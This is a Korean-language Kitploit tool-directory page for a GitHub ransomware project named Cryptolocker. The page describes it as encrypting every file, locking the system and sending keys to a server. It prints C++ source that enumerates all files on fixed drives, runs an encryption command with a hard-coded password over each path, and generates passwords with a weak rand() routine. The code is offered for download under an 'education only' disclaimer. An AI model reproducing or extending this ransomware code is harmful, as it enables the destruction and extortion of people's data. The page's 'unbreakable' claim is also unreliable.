Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Cryptolocker — CryptoLocker는 오픈 소스 파일 암호화기입니다. Crypto는 Visual C++로 개발되었습니다. 모든 파일을 암호화하고, 시스템을 잠그며, 서버로 키를 다시 보내는 기능이 있습니다. 멀티스레드 기능은 이 도구가 암호화를 더 빠르게 수행하도록 돕습니다. | Kitploit
도구/GitHubGitHub/ajayrandhawa/cryptolocker
Encryption/Decryption ToolsMalware AnalysisLearning & Education
GitHubajayrandhawa/cryptolocker

Cryptolocker

CryptoLocker는 오픈 소스 파일 암호화기입니다. Crypto는 Visual C++로 개발되었습니다. 모든 파일을 암호화하고, 시스템을 잠그며, 서버로 키를 다시 보내는 기능이 있습니다. 멀티스레드 기능은 이 도구가 암호화를 더 빠르게 수행하도록 돕습니다.

저장소 보기
1435529일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

면책 조항 : 당사의 도구는 교육 목적으로만 제공됩니다. 불법 활동에 사용하지 마십시오. 귀하는 귀하의 행동에 대해 전적으로 책임을 집니다! 당사의 도구는 어떠한 보증도 없이 있는 그대로 오픈 소스로 제공됩니다.

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

Crypto는 오픈 소스 Crypto-Locker입니다. Crypto는 Visual C++로 개발되었습니다. 모든 파일을 암호화하고, 시스템을 잠그며, 서버로 키를 전송하는 기능이 있습니다. 멀티스레드 기능은 이 도구가 암호화를 더 빠르게 수행하도록 돕습니다.

강력한 256비트 암호화 알고리즘을 사용하여 파일이 암호화되면 암호 없이는 파일을 완전히 사용할 수 없습니다. 단순히 읽을 수 없습니다.

Features

  1. 강력한 AES 암호화. (깨지지 않음)
  2. 시스템 잠금 기능.
  3. 멀티스레드 암호화.
  4. 강력한 웹 관리 인터페이스

1단계 (파일 가져오기)

모든 드라이브에서 모든 파일을 가져와 암호화합니다.

다음은 Visual C++ 프로그램으로, 드라이브의 모든 디렉터리 및 파일 목록을 가져와 나중에 암호화에 사용할 경로를 텍스트 파일에 저장합니다. Boost C++ 라이브러리를 사용하여 모든 파일 목록을 가져옵니다. 프로그램을 컴파일하려면 먼저 Boost 라이브러리를 설정하십시오.

root@kitploit:~
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

2단계 (파일 암호화)

여기서는 먼저 "data.txt"에서 모든 파일 경로를 한 줄씩 가져와 암호화 유형과 암호와 함께 이 crypy 도구로 보냅니다. 또한 이 전체 프로그램을 상위 루프에 포함시켜 경로를 가져오고 데이터를 재귀적으로 암호화할 수 있습니다.

root@kitploit:~
out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

3단계 (긴 문자열 복잡한 암호 함수 생성)

길이를 함수에 전달하면 함수가 암호화에 사용할 수 있는 복잡한 긴 생성 암호를 반환합니다.

root@kitploit:~
string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

현재 개발 중....

즐거운 사이버 보안.....즐거운 오픈 소스.......

:)

도구 다운로드